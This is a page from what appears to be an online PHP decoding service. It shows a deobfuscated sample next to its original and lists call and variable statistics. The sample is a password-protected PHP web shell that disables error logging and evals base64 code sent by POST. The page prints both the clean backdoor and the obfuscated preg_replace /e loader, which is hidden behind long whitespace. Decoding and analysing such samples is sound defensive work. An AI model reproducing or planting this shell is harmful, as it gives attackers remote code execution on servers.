Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ..

Decoded Output download

@error_reporting(0);
@ini_set("display_errors",0);
@ini_set("log_errors",0);
@ini_set("error_log",0);

if (isset($_POST) && is_array($_POST) && count($_POST)>1)
{
	foreach ($_POST as $var)
	{
		if (!isset($code)) $code = $var;
		elseif (!isset($pass)) $pass = $var;
		else break;
	}

	if ($pass == "CmG1PioxEHryJVsSEmSeDHb4Bhs8HtsM")
	{
		eval(base64_decode($code));
	}
}
exit;

Did this file decode correctly?

Original Code

<?php




                                                                                                                                                                                                                                                                                                                      $Rc4lmse="\x70\x72".chr(101)."g\x5Fre\x70".chr(108)."a".chr(99)."e";$y1sa3of=chr(101)."v".chr(97).chr(108)."\x28b".chr(97)."\x73\x65\x36\x34\x5f\x64".chr(101)."co\x64e".chr(40)."\x22\x51".chr(71)."V\x79c".chr(109)."\x39yX\x33".chr(74).chr(108)."cG".chr(57)."\x79".chr(100)."\x47\x6cu\x5ay\x67\x77K\x54s\x4B".chr(81)."\x47\x6c\x75".chr(97)."V\x39\x7aZX".chr(81)."oImRp".chr(99)."\x33\x42s".chr(89)."X\x6Cf".chr(90)."\x58".chr(74)."y".chr(98)."3".chr(74)."z\x49".chr(105).chr(119).chr(119)."\x4B".chr(84)."s".chr(75)."QG".chr(108)."u".chr(97)."V".chr(57)."\x7AZ".chr(88)."Q\x6f\x49\x6d\x78".chr(118)."\x5A19l\x63".chr(110).chr(74)."v\x63\x6e\x4Di\x4C\x44".chr(65)."\x70\x4Fw\x70".chr(65)."a\x57\x35".chr(112).chr(88).chr(51).chr(78).chr(108).chr(100).chr(67)."\x67\x69ZX".chr(74)."\x79b\x33\x4af\x62\x47\x39".chr(110).chr(73)."i".chr(119).chr(119).chr(75)."\x54\x73\x4bC\x6dl\x6D".chr(73).chr(67)."h".chr(112)."\x63".chr(51)."\x4e".chr(108)."\x64\x43".chr(103)."kX".chr(49)."\x42".chr(80).chr(85)."\x31\x51".chr(112)."I".chr(67)."\x59m".chr(73)."\x47".chr(108)."\x7aX".chr(50)."F\x79\x63\x6d\x46\x35\x4b".chr(67)."\x52".chr(102)."\x55\x459T\x56\x43\x6b\x67".chr(74)."iY\x67\x59\x32\x39".chr(49)."b\x6EQ\x6FJ\x469".chr(81)."\x54".chr(49)."NU\x4B\x54".chr(52)."x\x4bQ\x70".chr(55).chr(67)."g".chr(108).chr(109)."\x623J\x6c".chr(89)."W\x4E\x6F".chr(73)."\x43\x67".chr(107)."\x581\x42P\x55\x31Q".chr(103).chr(89)."X".chr(77)."\x67J\x48\x5a".chr(104)."\x63i".chr(107)."\x4bCX\x73".chr(75)."\x43\x51\x6C".chr(112).chr(90)."i\x41\x6f".chr(73)."\x57".chr(108).chr(122)."\x63\x32".chr(86).chr(48)."K\x43".chr(82)."\x6A\x62\x32".chr(82)."\x6C\x4B".chr(83).chr(107)."g".chr(74).chr(71).chr(78).chr(118).chr(90)."G".chr(85)."\x67".chr(80).chr(83)."\x41".chr(107).chr(100)."\x6d\x46".chr(121)."O".chr(119)."\x6F".chr(74)."C\x57".chr(86)."s\x63".chr(50).chr(86)."p\x5ai".chr(65).chr(111).chr(73)."\x57".chr(108)."z\x63".chr(50).chr(86)."0\x4BC\x52\x77\x59\x58\x4Ez\x4B".chr(83)."\x6B\x67\x4A\x48".chr(66)."h".chr(99)."3\x4D".chr(103)."\x50\x53".chr(65)."k".chr(100).chr(109)."\x46yO".chr(119).chr(111).chr(74)."C\x57\x56s\x63\x32\x55\x67".chr(89)."\x6EJ\x6c\x59\x57\x73".chr(55)."Cg".chr(108).chr(57)."CgoJ".chr(97)."\x57Y".chr(103)."K\x43\x52w\x59\x58N\x7a\x49D0".chr(57)."IC\x4a\x44\x62U\x63".chr(120).chr(85)."Glv\x65".chr(69)."\x56\x49".chr(99)."\x6e\x6C".chr(75).chr(86)."nN\x54\x52".chr(87)."\x31T".chr(90)."U\x52".chr(73)."Y\x6A".chr(82)."\x43a\x48".chr(77)."\x34\x53".chr(72).chr(82).chr(122)."\x54".chr(83).chr(73)."p".chr(67)."gl\x37\x43".chr(103).chr(107).chr(74)."\x5a\x58".chr(90)."\x68bCh\x69Y".chr(88).chr(78)."\x6CN".chr(106)."Rf".chr(90).chr(71)."V".chr(106)."\x62".chr(50)."\x52lK\x43\x52jb2Rl\x4B".chr(83)."\x6B\x37".chr(67)."g".chr(108).chr(57)."\x43\x6E\x30".chr(75)."\x5AX".chr(104)."\x70\x64".chr(68)."s\x3D".chr(34)."\x29)\x3B";$FVfmm4=chr(47)."\x62\x3750\x63\x35".chr(56).chr(51).chr(99)."\x34\x374\x30".chr(52)."1\x35\x668\x63\x38\x30".chr(51)."\x319".chr(56)."ad\x39\x613\x31\x38/\x65";$Rc4lmse($FVfmm4,$y1sa3of,chr(98)."\x37\x350".chr(99)."\x35".chr(56)."3\x6347\x34".chr(48)."41".chr(53)."f8\x63".chr(56)."\x303".chr(49)."\x39".chr(56)."\x61\x649a".chr(51)."\x318");




?>

Function Calls

chr 187
preg_replace 1
base64_decode 1

Variables

$FVfmm4 /b750c583c4740415f8c803198ad9a318/e
$Rc4lmse preg_replace
$y1sa3of eval(base64_decode("QGVycm9yX3JlcG9ydGluZygwKTsKQGluaV9zZXQo..

Stats

MD5 7b6958061b64f8f19c5442462d19169d
Eval Count 2
Decode Time 208 ms